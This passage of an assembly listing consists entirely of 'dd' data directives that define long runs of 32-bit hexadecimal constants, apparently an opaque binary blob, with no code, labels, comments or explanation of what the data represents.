		dd 0B63D14B5h, 7EF487FBh, 7510440Ch, 4CECF64h, 0BB309625h
		dd 84F380FDh, 8605FA11h, 0AEACAAE1h, 0AFF6FAC1h, 35F8F0h
		dd 960447A5h, 8C5C2450h, 3F09431Fh, 0B5FF49C7h,	0C4514650h
		dd 3B2D012Ch, 0BC8EB4E3h, 0BB793094h, 8CBE8600h, 7D6E4537h
		dd 0AF800077h, 18A30F12h, 0BB1CDE09h, 90C7F8F2h, 0D750B97Fh
		dd 0CF30F6h, 84C41525h,	798D6CEAh, 0F76AB8C0h, 78DE0F86h
		dd 57FA0034h, 448C4790h, 0D5006616h, 0EAAAF748h, 0EC10780Eh
		dd 20C7C30h, 0E4DEB0B1h, 0CC8060BAh, 0E7A743EDh, 2F6054Ch
		dd 675B413Ch, 6DB4875Eh, 87E1170h, 0DA5000F4h, 64FB1C44h
		dd 68077CC2h
		dd 38407DAAh, 5806EAD0h, 88C7005Eh, 0DFF3E3ADh,	683D7036h
		dd 0CE169C9Dh, 0A2263C80h, 51AB0Fh, 52CD0127h, 0D7ED6D41h
		dd 9F7D3Fh, 0F3F6DED2h,	3C3B930h, 28E08D1Bh, 0FF90584Ch
		dd 32036674h, 957017F4h, 0FCB7E8BBh, 0BE9C001Fh, 9D6735A7h
		dd 0B5034E81h, 0BB374AB2h, 7EE07155h, 0F58000B1h, 2FBC0A08h
		dd 0B654E4F1h, 0CF011D9Ch, 1163C0A1h, 0C9D4ECAEh, 0B21F00D1h
		dd 1925B1B4h, 0A00F30F1h, 60343C03h, 0A6377C08h, 57DA061Ah
		dd 0C065771Dh, 3E3ECF4Ch, 0F0D480ACh, 0AAE43F7Eh, 53710099h
		dd 3E2AE7FEh, 367E6CA2h, 771EBA00h, 0ACED09FBh,	1684E03Ch
		dd 97D9404h, 43002F45h,	0EF6BA071h, 0D29A0900h,	8B7F2B95h
		dd 21400144h, 32923D1Dh, 681830C2h, 18A57900h, 0EF366582h
		dd 0B4FE38h, 3E99F3A2h,	3AF86DD0h, 7CC95724h, 0B68F3F00h
		dd 11ACD5Ah, 8A69DA0Ah,	409D92EEh, 1D94FE87h, 0A88B8700h
		dd 13AB2A23h, 83330076h, 0C2FAFC2Dh, 79C9F8ECh,	646C00A7h
		dd 121A89h, 0F2F44680h,	0BBC53633h, 0AC617300h,	6BCC7F75h
		dd 1EBC60D5h, 0E418EC1Ah, 0F9A53400h, 90C0CD03h, 0F88C001Dh
		dd 740777DFh, 601C8114h, 0B342089Eh, 43EB1805h,	0A6EE9FCh
		dd 9D2037F1h, 9B1D00A6h, 91F11536h, 431DB811h, 1983107Eh
		dd 0E8FF02F9h, 50D20DFAh, 0EA4FD01Bh, 9A6E1FE2h, 0B3C980CDh
		dd 98B4DDF4h, 87935C39h, 46F67E2Fh, 453F0140h, 481F07EAh
		dd 2043CE0Ch, 2D9726D7h, 9BFFB100h, 4B278542h, 7406018Ah
		dd 993681A4h, 59B8FF30h, 97038E8Fh, 9077845Ch, 677F9812h
		dd 8C2F00ADh, 5E364988h, 0CF5999E1h, 0EDD10140h, 290F5315h
		dd 79F87DF0h, 2C3B04C9h, 0C079B788h, 2D4590D8h,	0A80AD1Dh
		dd 56370C3Ch, 7EAD81Fh,	25E058AEh, 0AB7C51B6h, 5FD3E43Ch
		dd 200FA4F6h, 0C0C137EBh, 83A2E764h, 0EE7E2609h, 5E5F00D9h
		dd 6B4708E8h, 520018F8h, 2F646C02h, 620B21h, 0D4F9D02Bh
		dd 22C2E5EBh, 9933A20Eh, 7C4C44E4h, 356740C0h, 0D191816h
		dd 0AADAD897h, 20A83F0Eh, 22C96141h, 0A0201802h, 1F7C008Fh
		dd 0DC428B23h, 99043EEAh, 6F9AC254h, 3C7634C0h,	8D200064h
		dd 0F789146h, 0B90B10C3h, 5E29B81Ch, 1BE1006Bh,	73BEA26h
		dd 0C72D7701h, 0EDCEF486h, 74B34C8h, 14C2D409h,	9B1661F9h
		dd 8043D9A6h, 0D8DEDFA8h, 0EE2BC08Dh, 74A505CEh, 0C056B441h
		dd 263E1C98h, 3FE6B701h, 75472897h, 869520h, 0D30C3460h
		dd 0FFAF1D13h, 0E5CBD901h, 0C345FBEDh, 0BF030h,	328EDE93h
		dd 0C29E7F7h, 0C2FFC801h, 0CF5B10C0h, 26508CF0h, 2F58Fh
		dd 4529905Dh, 0D83FDA42h, 0FC08243h, 68D58582h,	40AE0B28h
		dd 6844911Eh, 51091CABh, 11F4405Ch, 615B48BAh, 0E30C317Ah
		dd 0AE4A5834h, 2CC0F76h, 96E12D67h, 0EC629387h,	8E0524D2h
		dd 68F7FEE4h, 100EFC5h,	2B58AB11h, 944713BAh, 751400B3h
		dd 0A2D806CCh, 0AFD5600h, 841578CAh, 0FA570F3Bh, 64E01E3Fh
		dd 7B9E127Eh, 2F6D0F00h, 89F556BDh, 778700FAh, 432C96A8h
		dd 0F650F3B1h, 0A92675F2h, 0B389904Bh, 0C65410A8h, 46A0837Bh
		dd 0E7006C4Eh, 912F70A6h, 26E67EBBh, 57C7D02h, 0C26BCE3Eh
		dd 0E0664B30h, 0CFA63500h, 0B85521FCh, 4A660042h, 401E7376h
		dd 84C3A36h, 54F1E65h, 207D49h,	0BE5B1340h, 78F57C78h
		dd 0D6E700FAh, 0B09A6D4Ah, 94B0AECBh, 386EAC00h, 0CA6FE346h
		dd 2D5A1241h, 0A7340040h, 0AF01A3E2h, 0CC7CAA00h, 0EFB0E0FEh
		dd 0B5810941h, 888003C4h, 7128CBE1h, 93517E00h,	7A38278Eh
		dd 6A8200E3h, 0CEDDBE24h, 0D700D60Ch, 8713DF5Fh, 7078B90Dh
		dd 79F6009Fh, 985B2FC3h, 0E400A317h, 2E07A824h,	0E33CADh
		dd 4C68926Dh, 0D6D2F1AAh, 0CA1F85A0h, 0A653ED00h, 86709806h
		dd 5B221335h, 802C5E0Fh, 0BF325230h, 0A4002F2Dh, 3AAB6A73h
		dd 18064CCCh, 0B831D11Bh, 560F0B64h, 4460DFDEh,	2C835AA2h
		dd 1B28B068h, 0DDBCA879h, 3006E271h, 0DC61B446h, 9C05AA94h
		dd 4C67F7D5h, 3A40A41Ch, 33B53102h, 52F43091h, 0A867D760h
		dd 80057200h, 0ED51E52Eh, 470913Ah, 0C0960AB6h,	0A7D7D320h
		dd 0B7605E4h, 3BE01160h, 28B81448h, 0EC0E15h, 189AEF3Dh
		dd 83CA3562h, 8A5E5000h, 0FD2B567Ah, 685405ECh,	80F8A634h
		dd 3BB15349h, 175E9A00h, 5FAFBFEAh, 45C0521h, 80FFA574h
		dd 7C244C3Ch, 4A424000h, 0D70CFEEDh, 565502AAh,	0CFBA739Fh
		dd 0A11DAF40h, 130099E4h, 71B1B6C4h, 923A77h, 0D0A237C5h
		dd 5C31EF1Ah, 25169101h, 0C7A3ED33h, 3F3BEBD4h,	0F080DFAFh
		dd 4873239Fh, 5901D3D9h, 296A764Eh, 8705541h, 995800F0h
		dd 7A8B9588h, 9F00220Fh, 3894DA4Dh, 0F7D8CDh, 2FE429Ah
		dd 84419BBFh, 1F6BC3Bh,	0BE8B2691h, 0CBCCA02Bh,	5E071E8Dh
		dd 0A110C022h, 0D04F23E8h, 76926A00h, 43E427ABh, 18A60941h
		dd 0D5708F15h, 530028B8h, 1C129B4Ah, 31BB13Fh, 2FC10422h
		dd 90B8CCBAh, 3402B982h, 0AD17BE9Ah, 7A88607Bh,	3BB0E20Ch
		dd 980048CCh, 4FEEFB22h, 0C0FC8263h, 94C24Ch, 8E295E8Fh
		dd 92126F51h, 367D0520h, 0DF723h, 0E68892ECh, 31E4B5F0h
		dd 6DE1B800h, 76B22240h, 1F120348h, 83462419h, 0F131D098h
		dd 0BDCCB300h, 226D6077h, 17017243h, 442609FCh,	0AA897850h
		dd 0DCA752C0h, 0B5BE037Bh, 990D6B5Dh, 0AD80F9CBh, 8B986A95h
		dd 9ED59800h, 0C055849Fh, 830B07A9h, 0F50A64h, 14DD657Fh
		dd 316F7205h, 0B7C1CA94h, 0AAFC83E9h, 9563031Ah, 0D9F838C4h
		dd 4031781Ch, 98E9C041h, 0F8C71DD2h, 1238C8CEh,	887AF81Bh
		dd 900CC44h, 349820F7h,	1E6E3BBh, 0D73C5AC5h, 0E829A06Dh
		dd 0B9F0A910h, 808A433Ah, 0DE163653h, 1F4042B7h, 18F58706h
		dd 520A119Eh, 5D579C00h, 5E2AB98h, 0ECFA0131h, 71C2F9E4h
		dd 908C5279h, 0AFA20800h, 5F340002h, 0F16D012Dh, 0C940C7Eh
		dd 73F41E00h, 72754EFFh, 0BD0F00B0h, 5080A013h,	5402039Fh
		dd 0E5D2B366h, 0BBF0692Dh, 0B031F8h, 0DA9850FAh, 4E3208C2h
		dd 59105890h, 0D81D7258h, 0F7CFC0D9h, 0B6486B66h, 33BD9C0Eh
		dd 0B22A8361h, 5126A9E1h, 6D2CE60h, 0CFAD1A0Eh,	7803401Ch
		dd 8E819C42h, 404EAA60h, 0F793Fh, 0B085DF0Bh, 0F957C53Ch
		dd 60818824h, 4B29F00h,	0B57EDCh, 0E1BEEBF7h, 1EDB7C57h
		dd 0D844263Fh, 0D6400040h, 74EDA48Eh, 36F0E5D2h, 173E0042h
		dd 61E6B499h, 9FF6938Bh, 0DBCD3D00h, 9428A10Ah,	827F000Eh
		dd 0BE9C197Dh, 290038DAh, 394EEA59h, 282308E9h,	1FB8DCD0h
		dd 0DF7A0Dh, 9A839EE2h,	0F7388C2Bh, 503E80B8h, 384A99CDh
		dd 3B6C181Ah, 0B1693ACBh, 748C4400h, 0E3D74C9Ah, 0B3841C4Fh
		dd 0CBC702BFh, 0CC02BEBh, 0B64209FFh, 7AF08ACAh, 551B3880h
		dd 5900C80Bh, 0ED2EF28Eh, 0DE19E6h, 9F580466h, 868B283Ch
		dd 6D2F6F01h, 5DF8161Bh, 269A10F0h, 96E88CCAh, 0FFC82837h
		dd 0EC68B024h, 0F90B1501h, 0D440228Dh, 4C270E02h, 0C301F08Ah
		dd 17099A7Dh, 8296D43Bh, 81FEB33Eh, 802AA38Eh, 0C441D840h
		dd 10709FAAh, 0DE36005Ah, 9E37716Fh, 6A781EC8h,	2F467000h
		dd 26A165DDh, 0D92D0473h, 0E4402164h, 8000E14h,	55A372DFh
		dd 477F0Fh, 4FEEE2Dh, 9DC9F8F5h, 43C12C00h, 0F150E1DFh
		dd 34B85D3Bh, 0EE74A00h, 0E8CF3A90h, 2D764Ch, 5CD5AE46h
		dd 686108Fh, 84047C4Bh,	0C37C3E14h, 80FCEA58h, 2D90913Bh
		dd 0E47D0163h, 5C88219Ah
		dd 418671C3h, 0C077B464h, 0DD07F11Ch, 0C18789D1h, 8CC48D50h
		dd 1E8F0035h, 67ED95B0h, 1B0721Fh, 0C3168100h, 0EC1C14A0h
		dd 0D41B0077h, 0A6E1374Bh, 0C00004CCh, 2D0D657Bh, 26459BADh
		dd 0E330805Ah, 0D1B0C471h, 0D89AAED3h, 1F54Ch, 6A0435Ah
		dd 4C4EC28Eh, 0E2009256h, 0E65B2814h, 2600FDC1h, 9141A59Fh
		dd 12C43D63h, 42013F7h,	802C6A6Ah, 4A7AEAB8h, 2ACA800h
		dd 0ADEB5490h, 0C0E294h, 12BC654Eh, 0CA15C15Ch,	0A064214h
		dd 365007CFh, 821164E0h, 0CCC4A341h, 0EFE30029h, 2FA6C406h
		dd 0ED000894h, 64DD7860h, 987DF74h, 0C859B8D7h,	6501D800h
		dd 6C767CA9h, 27932900h, 194F8295h, 0A7DD5836h,	0CB9A600h
		dd 1779632Ch, 47DAB26h,	3D934000h, 413ACEh, 98B9BB27h
		dd 5A72D488h, 0DAEDA800h, 0D81078CCh, 36E00EEh,	7312567Fh
		dd 7400221Eh, 0B6A2C257h, 8DA497h, 41EC552Ch, 42BE5B17h
		dd 0D2A96200h, 0BB4601B1h, 0C1843DEEh, 9473F300h, 85AA2715h
		dd 9E3AA43Ch, 0E9CCE7A9h, 3E35058h, 9E547F4Ch, 0C0A93D32h
		dd 0C05045BFh, 1F42C818h, 0C593691Ch, 0AF8C28C0h, 7256B6BCh
		dd 55C70001h, 0FD49A166h, 0D6149416h, 7C4DE86h,	22A05E6h
		dd 58D402EBh, 0B0CC7095h, 0EF03005Ch, 24B6D3ADh, 5AE0592Ah
		dd 0FC4D4E1Eh, 18B7E8C0h, 3876320h, 0BD68E9B6h,	14DA7BC2h
		dd 2F1C2460h, 856FB000h, 779E1DEAh, 0F5E800A9h,	0B4829BF6h
		dd 5BE6B727h, 0E3269C04h, 4FC050C9h, 68CE1Ch, 0AB12DA0h
		dd 3CDCD436h, 9897520Eh, 0E111808Ch, 8AA967h, 4C69C20Fh
		dd 0E684D89Ch, 21FB1500h, 5831F25h, 11FC6Eh, 76A9ADC5h
		dd 0CAEAEC5Eh, 3310F200h, 6D5AC882h, 90721C3Eh,	0DA4800B2h
		dd 0D668578Dh, 0FB00BFE8h, 74BD6CB7h, 0C0CA4D16h, 939C4481h
		dd 5C179407h, 2A05BBFBh, 10034C16h, 0A3939F3Eh,	822CC0BFh
		dd 29F6062Bh, 0A81A2A6Ah, 31EDBE7Ch, 49A7E0ECh,	0F653A300h
		dd 0B3B1BBC1h, 790C300Dh, 120FBF48h, 412438C0h,	0FB8D70h
		dd 303E84E8h, 3398FEAFh, 0FA4FBE02h, 180EF059h,	726147FDh
		dd 10D881Ah, 68D30C40h,	98DE8Ch, 0FB59F407h, 9D1CC726h
		dd 4C004F95h, 0B51A7AE1h, 91320F0Ch, 0C8E05F3Bh, 0A93A934h
		dd 0BA73E800h, 57ABB4D5h, 14211EEAh, 0EDD6804Bh, 0F14499DEh
		dd 0F50085F0h, 836E130Bh, 0CFD91Eh, 0E6AAA391h,	40D1E93Fh
		dd 43F5EA01h, 0A7B093A4h, 0E1E39F21h, 71D82CFCh, 2AB37C1Eh
		dd 0A8C430h, 1F792B69h,	0F1D666B1h, 7506611Dh, 6EC43E00h
		dd 48144BBAh, 0B8009BFAh, 92459DC5h, 0B4A1741Ch, 9AC1DE12h
		dd 7967C8D7h, 0EE387E76h, 47F77D2h, 2054700h, 0CFE0A6FCh
		dd 6F701264h, 65DA0045h, 7A04D93h, 0CA89C66Fh, 7E2FF4C9h
		dd 0D6DB0F5Fh, 9600AC35h, 52634C2h, 4E009939h, 184D11F3h
		dd 77F0F2h, 0B4A19F45h,	5092024h, 9E67CE00h, 8ED5BEFFh
		dd 5B88Ch, 52D9137Ah, 0E87B11A4h, 85EC904Bh, 96656160h
		dd 0F70FFFD1h, 0C0A87F29h, 0EBF0436Ah, 95FB009Dh, 906CA5A0h
		dd 29730B37h, 5A1FA600h, 6EE3353Dh, 1D1303DBh, 88F077F6h
		dd 6164B6E8h, 0A48F8300h, 35C1BD36h, 0D94732E2h, 0E4107B29h
		dd 0C22A8863h, 89D7B088h, 44B4081Fh, 10841E7Ch,	21303638h
		dd 62A23D43h, 22C1F222h, 0A7443AB9h, 0D58B3A6Dh, 0D9BB710Ch
		dd 0D701C108h, 0DEE6681Dh, 0E3722Ah, 9D777F18h,	9CECF618h
		dd 0EFF54100h, 0EAEE4E81h, 0F0420086h, 106A4DE8h, 0BA00A8A9h
		dd 8982FE2Ah, 0E5E70Ah,	3A97DC1Dh, 154BA229h, 0AFC88A00h
		dd 0BB5F6FC4h, 77C23E0Eh, 0A175E280h, 94BAAA67h, 4B452A00h
		dd 0BC6CDC1Bh, 0AC2D00A6h, 9F7226B4h, 300B2F4h,	186674AEh
		dd 0C054E04Ah, 56ED1410h, 0DB00248Ch, 0F4E1539Eh, 729606CCh
		dd 0FDE1609h, 0D0900A1h, 44B64F2Ch, 0A28F5F0Fh,	80CD8FF5h
		dd 0BD51C186h, 4A350743h, 513728B9h, 30882723h,	607258Eh
		dd 10B7E3C3h, 24956380h, 68D15850h, 3A151903h, 1100BAA1h
		dd 7FED3CB9h, 0C3F22DDh, 29336435h, 28EA6150h, 53479813h
		dd 0B16200AAh, 484BA11Bh, 0D886DB00h, 0E6F901A2h, 85EE4Eh
		dd 0E76EAA35h, 916B403Fh, 4EFDB00h, 6055D389h, 70C79BBh
		dd 1C9ED220h, 5760BE73h, 475D8E75h, 92CB4000h, 48F8B749h
		dd 944A50BAh, 2F7BBBh, 2E7B0B18h, 0E3CF686Bh, 2A8AB03h
		dd 0AF9C55C1h, 0D544FB0h, 9931045Dh, 87763EDDh,	0EEFB10C5h
		dd 0D401665Ah, 5F96E278h, 88209AD1h, 565F0D7h, 3FC89D52h
		dd 920C650h, 6F38C900h,	6A0DDADBh, 25171C92h, 0FA00F878h
		dd 1035706h, 407557Ah, 6A2205FCh, 0CAC19290h, 873501A8h
		dd 0EB76FE8Bh, 7BCF40ABh, 6B29AF36h, 26008456h,	0A53E0E45h
		dd 24F10078h, 23CAA811h, 8C0053CDh, 0B959A35Ah,	0FAD62Fh
		dd 8BEC25BDh, 482C7BAFh, 69724890h, 0E011D200h,	2825605h
		dd 0D173DFh, 8410C52Bh,	1714FB38h, 2D61EA09h, 6528004Eh
		dd 5B12688h, 82A79C7Dh,	51FC005Bh, 15078404h, 1524BE48h
		dd 7FC59DCh, 0FE66EBC9h, 0D4C11CE0h, 2B2300C8h,	0E2E678A0h
		dd 790086CEh, 0C2D043B5h, 6C8350Fh, 0FDAE9C56h,	46E4D039h
		dd 6F137E02h, 0E07AF6A6h, 7897A2h, 0C05A1218h, 67ABF428h
		dd 6B841400h, 59E2B413h, 0F05B003Ch, 0C66E0A73h, 5400D22Ch
		dd 418AD60Bh, 7AFF50h, 88E1D9F7h, 0A58B62AEh, 731D4D00h
		dd 698530B1h, 2265004Ah, 20CFBC48h, 7900C151h, 0F86EE590h
		dd 2617AF72h, 38055EEh,	70E83F18h, 7C85E3C8h, 8BE91300h
		dd 7EDE29A6h, 0C02C787Fh, 0ACB5A118h, 0D0F990A5h, 0B1F89536h
		dd 0E89A7B00h, 0EA944BA6h, 0F51700A1h, 0ADE2A52Ch, 3200B163h
		dd 748A8477h, 14947BE5h, 8C2B626Fh, 0F601BE3Bh,	2D5579FFh
		dd 0C16BEC6Eh, 0B1AC0300h, 0C837DA05h, 341D0091h, 0E28D7812h
		dd 0B8748F2Dh, 23668E02h, 6601CD46h, 7BF10354h,	87BBAF8Dh
		dd 137F2298h, 84572C00h, 199AF452h, 478607C7h, 106CE575h
		dd 0D926FE48h, 802CCEA1h, 0E43D526Ah, 2BCC4Bh, 0C90EE87Fh
		dd 0CD16517Dh, 685B3100h, 578470A3h, 0DE930326h, 812F298Ah
		dd 119803A3h, 76E69D02h, 51B3A502h, 0E0B5DFB6h,	0B8265394h
		dd 2DAC3AA8h, 0FA116100h, 44977E3Ah, 903D4804h,	40805CA7h
		dd 18B2FD2h, 0C367EE45h, 0ECD486B8h, 0C607A2ABh, 9CFD370Dh
		dd 104AD20h, 9E731D88h,	7C23C963h, 51870880h, 2707134Fh
		dd 0EC440A4h, 6DC20470h, 4B0377CDh, 0CF55C017h,	1E005416h
		dd 0AB4EEE66h, 537433h,	78F4DB83h, 482813F5h, 0E3D42700h
		dd 148DA747h, 3F110009h, 0A1BA70B6h, 0D5008962h, 8205F041h
		dd 741AC315h, 499B0697h, 29F703D7h, 0E391450Fh,	75F1802Dh
		dd 0C9831h, 0FFDFDAC8h,	41B93463h, 0E501BA01h, 0AA23DCFEh
		dd 0DEA3FCh, 0BE039C10h, 35644039h, 0AD00CA7Ch,	8C46ED85h
		dd 6802EF4h, 0C19CC77h,	4DEC4897h, 1AFD638h, 0FA48C8FEh
		dd 0E0201CC4h, 0B63D2C92h, 814D8160h, 7020D97Fh, 0F004105h
		dd 2D50D5A8h, 0C53AC02h, 0A56415E8h, 0CA00E511h, 10F8FEEEh
		dd 0EC4126A8h, 6A791C12h, 29D00097h, 66739613h,	991EBD76h
		dd 4BC2B36Eh, 0E05F717Bh, 6076234h, 0CFDB7386h,	0B53F0885h
		dd 0CAD98083h, 22346682h, 0A964011Eh, 5A13C04Bh, 0BB80D360h
		dd 0DA2E59ABh, 0FD129CBAh, 0A58DBD00h, 0B09355D4h, 0C69230D4h
		dd 66242182h, 0F43C9C92h, 33B58FB7h, 764560E8h,	1E205AC2h
		dd 985841BBh, 6CFC293Ch
		dd 0DC861A00h, 1F346EBAh, 0DE90A918h, 0DA189062h, 9BC768A3h
		dd 9222E400h, 2BD2A855h, 327D004Dh, 0BCB0AC73h,	0F0E852Ch
		dd 0AF3B61A0h, 0D41420AFh, 78F67Eh, 0F0B0516Bh,	209F1664h
		dd 9D38C001h, 2E80402Ch, 0E63B30h, 0B767DB51h, 1B6EDF57h
		dd 0E2647D00h, 391AFB26h, 699F0033h, 0A6BFE449h, 0FC009C45h
		dd 30C87A2Eh, 804B77h, 73550725h, 2DD9CF22h, 44D0B000h
		dd 0EB178DB1h, 93F02E70h, 352600F1h, 0B84E3F74h, 3C3E6A1Eh
		dd 10002292h, 0F068BD98h, 64615890h, 0A5FAC09h,	563F10Fh
		dd 18C691FFh, 2E372A00h, 2B5C15FAh, 6B1E00B7h, 5E17F830h
		dd 1901C82Dh, 75942068h, 80309DB3h, 983A76E3h, 90461D19h
		dd 0A081C0E1h, 8DD66FF1h, 0E7439600h, 2FC2F8A8h, 0BFAD01E0h
		dd 0FA3F877Ch, 8267FC12h, 0B8E72801h, 178095A6h, 0B3294880h
		dd 449C2247h, 0EA330EF4h, 0A03831F8h, 1E0A001h,	0CAD45CC3h
		dd 874D7098h, 8D3FD838h, 0E6B27A90h, 0F86154F1h, 9B1B0FC1h
		dd 24CF0737h, 3E7982A0h, 0C3E24CB4h, 0D7D02D00h, 0F48DEE51h
		dd 6B5200DCh, 0DBC7CA84h, 1700AC9Ch, 95922996h,	1A94111h
		dd 94A3BEFCh, 0DCC17D10h, 0E300391Ch, 62D68DDBh, 8B5643h
		dd 9CF80E4Ch, 0B2EFC9FAh, 10E4B502h, 0C01DAE55h, 1A311B8h
		dd 9546AAFBh, 401C24F5h, 1E429604h, 1FB04560h, 188CFC4h
		dd 7DFA997Fh, 0E2FB745Ah, 7BF0B240h, 0FA775526h, 4F17CD00h
		dd 0B096678Bh, 36660044h, 453C8694h, 18C781D5h,	4880C7B5h
		dd 5ABA38h, 0ECA43E7Ch,	0D4B97CEh, 88B5DE00h, 0C112AD34h
		dd 8EF641h, 3A8D8CC0h, 65AB8A8Fh, 0AF55F317h, 0C6157800h
		dd 5875DC12h, 710F88D7h, 18670AD3h, 0F0AF83C9h,	9735B5B8h
		dd 6BAB0700h, 847430BDh, 0C5C8C147h, 0D4A4ECBBh, 0A524F1D3h
		dd 6C094F4Ah, 8554021Dh, 2A68502Bh, 30ECB8D9h, 53FE3201h
		dd 12160F8Dh, 6840A8B9h, 906F82C5h, 3A20B0EAh, 0FF0001A4h
		dd 0CC439B4Eh, 0F200E763h, 4B887BBDh, 79C3C097h, 841A008Dh
		dd 0D52C0D0Eh, 0D209AF25h, 80745039h, 0B7191E94h, 4CCF0162h
		dd 3DB508ABh, 0D882E50Bh, 42007F10h, 3AFF9A11h,	0E2B199h
		dd 0B6F21A0Eh, 59E59334h, 0D001F901h, 49BB6021h, 9D4DC4h
		dd 5692CB83h, 5B501912h, 39E02400h, 0E8590D13h,	0D134001Fh
		dd 0BA16EB7Bh, 6B7C013Fh, 93DCE100h, 864760E2h,	2AB90E7Ah
		dd 5B205343h, 446795D2h, 0C034B426h, 86F80814h,	47149h
		dd 0E50CEA2h, 0E22BBBC3h, 2C4C9AE6h, 0FEE401E4h, 0ED5E64F6h
		dd 60EA820h, 0B0E25D47h, 806010ECh, 9E6D5B0Ch, 6C8300A7h
		dd 0C23FCCA2h, 7F286ADCh, 9BE6C12Ah, 7E8F9000h,	91A0B363h
		dd 0F35EE46h, 7D33DDDBh, 5080A51Ch, 49B18A4Fh, 80B82A51h
		dd 31DDE98h, 18528DAEh,	0E8F62302h, 0AB4CA4FFh,	0B2517CCh
		dd 0B2967800h, 7348917Ah, 0C3111CC4h, 0AD2B8039h, 0D619EB8Bh
		dd 8166CF3Dh, 0FABE8D4h, 0F8244E15h, 78B001Dh, 0FB535F7Dh
		dd 1B004051h, 0AA9693F2h, 48C38A1Eh, 9F003AF0h,	0D397ABE0h
		dd 900170CCh, 0AC42B6FFh, 0C0CA85C4h, 1E33EDDBh, 0EC515992h
		dd 0BF600A8h, 0E29BF234h, 0D3C23A02h, 60BDE5C9h, 1E952B20h
		dd 5F410FC4h, 0A487C769h, 6375776Bh, 33A14E82h,	0CDC3083h
		dd 0AFFE4002h, 4802D466h, 3E6EC87Ch, 93BBE0D8h,	595D2D80h
		dd 8E431733h, 422C2E1Eh, 0C65B1830h, 0C0F5009Ch, 0CA469BAEh
		dd 8002079h, 1B9DB8CBh,	507AC5h, 2203A9C7h, 2B33ADE3h
		dd 8BD030E9h, 0F31F5D03h, 0A86FD21Dh, 2F921h, 65EB5E6h
		dd 0AB2850F5h, 0FA005C94h, 8E6BA1E3h, 405804E9h, 0A60B32E5h
		dd 79040444h, 9C80A508h, 14AFAD7h, 0C245AC2Dh, 0D0682B6Ch
		dd 0F4FEB2EEh, 75E61400h, 7054ECCFh, 0AB400E7h,	8D4436BEh
		dd 0FF00F649h, 3CE45674h, 6807ADh, 8C08E996h, 51BD5710h
		dd 910066E0h, 141CF72h,	0F784C0h, 104321F0h, 0FB7A8552h
		dd 0B5ECD51Fh, 27600E80h, 26FA12EEh, 7B80456h, 307367D9h
		dd 0DB6DC22Eh, 0C30440F7h, 2D00D83Ah, 0ACD72FC0h, 3A26C12Bh
		dd 390F3286h, 2CA0335Dh, 3C774858h, 124C5C01h, 9373FFA6h
		dd 0CFAC30h, 3489C5C1h,	5503CBFh, 29E89FEEh, 8B11800h
		dd 4E9B22E2h, 798F00AEh, 3B8B7023h, 933A0161h, 5D309A3h
		dd 0F0880057h, 3987FCBh, 991A758Fh, 0FC12B45h, 0B4DC203Bh
		dd 80CD6438h, 0CAE473AFh, 42A58Ah, 5B2FB6F3h, 0E29EC672h
		dd 9DAA7F02h, 60A6CDCCh, 79BA90h, 7D0F0DC0h, 7E6515B8h
		dd 106DF016h, 8D641087h, 3440E4h, 24BF01DBh, 0AD7C7261h
		dd 8066103Ah, 0A11A1BCh, 773AA02h, 96094DF2h, 864F100Ch
		dd 90016942h, 0D6EFD7BFh, 78806FCCh, 28AEE323h,	3C09D148h
		dd 0A077A235h, 1CCD7B08h, 287660DDh, 25A34CCAh,	53A08B50h
		dd 0A272E617h, 0C8CE040h, 0F4E08A0h, 3A7F895Ah,	5D93AB80h
		dd 880054F3h, 0AC118B63h, 1454A44h, 40D2F4A2h, 20018584h
		dd 1C051444h, 0B02E1FCDh, 972028C0h, 138B007Bh,	0E5FEAF84h
		dd 2C00A810h, 557A7E4Dh, 25E413Bh, 2D20DA4Ch, 0C3C06E27h
		dd 2609F1F5h, 60360B0Eh, 112764Ch, 0B02AB4ECh, 0C27A9D8Eh
		dd 0D0387643h, 1E0180C9h, 2D2942DDh, 3372E33h, 0BA1B0F78h
		dd 0AE600272h, 4CD0E656h, 0DF16C600h, 5C2DEA85h, 0A7EE013Ah
		dd 0ABE3E890h, 8934301Ch, 40579800h, 0D1753FDh,	4D6E00C5h
		dd 9283DACEh, 5100DFF3h, 4EDCF615h, 3968D98Bh, 7E8E5CF7h
		dd 0DF0B2034h, 0A97B0801h, 0A8C3E8E7h, 0AAC108C0h, 0CC78E5h
		dd 84659EA1h, 0E2E89FA0h, 0F9E46800h, 60D16B99h, 0EAE4C2h
		dd 0D661CF5Fh, 0DE34C5E5h, 4903BBB0h, 6A4BDFDBh, 2BF80C1h
		dd 186BE07Bh, 1A14B7FEh, 0CC00CDAFh, 3FF87992h,	0EE1BADBh
		dd 0CAF0C828h, 0DEF4B360h, 7660E326h, 439AEE20h, 9C403ABh
		dd 0CA7C358Eh, 6028A2h,	0D400DADFh, 6726A85Fh, 3DDCCD3Dh
		dd 0B804FDEh, 0CA7A7559h, 4B009BBCh, 9FB66C2Ah,	3158Eh
		dd 0D88649B5h, 220E729Dh, 8DB15800h, 6F8C94AFh,	0A0F233h
		dd 0FA5720D6h, 0EA694C45h, 1C301600h, 0F2D86B3Dh, 0DC3F6031h
		dd 0DBB4354h, 9F67E1Ch,	861CAD80h, 1418AE8h, 8E650EC8h
		dd 0D0345CC1h, 1007AF29h, 0BECBE649h, 5582ACF0h, 98D818FCh
		dd 4C4710B8h, 713D4AFCh, 0AE58232h, 802EB609h, 0BF5C7684h
		dd 96E2CEh, 0A77F3118h,	3B219075h, 0FEDBE21Ch, 63E1BC40h
		dd 439DA5h, 469CA3E5h, 0F6DC8953h, 0CA3BEF0Ah, 0CC1ED115h
		dd 1DEA4B40h, 0BE4C7Dh,	84487919h, 854AA303h, 4100A2E0h
		dd 0BAA1018Ch, 3A7D95Bh, 52DA80C5h, 7CB1BFC6h, 0ACA8F7C3h
		dd 9D00F4B9h, 7E28D96Ah, 704114h, 2FA089CCh, 0DBA33422h
		dd 0B7302E00h, 1ACDE154h, 7C931DE7h, 0AA2F845Bh, 0D0088064h
		dd 131E21C1h, 0B0E8CFDCh, 0F10115B0h, 0BD47380Ch, 26FCAA28h
		dd 46640F08h, 0D3A6C463h, 0EBEC7076h, 0B0722E07h, 0DFC7D252h
		dd 485D9110h, 249004Fh,	46E307Ah, 6F480D53h, 19F78048h
		dd 96A71h, 959E3DF3h, 4DBC6EC7h, 310791F4h, 8A7D0B65h
		dd 60EAF372h, 7116DDh, 47FCA358h, 0D1AC0FB5h, 0A803C298h
		dd 49018DDDh, 0DACAE0C5h, 846B0003h, 0ECCC4334h, 471C784Ah
		dd 69C074B1h, 156F31D8h, 0DF710053h, 0D7A2FF46h, 3E010D30h
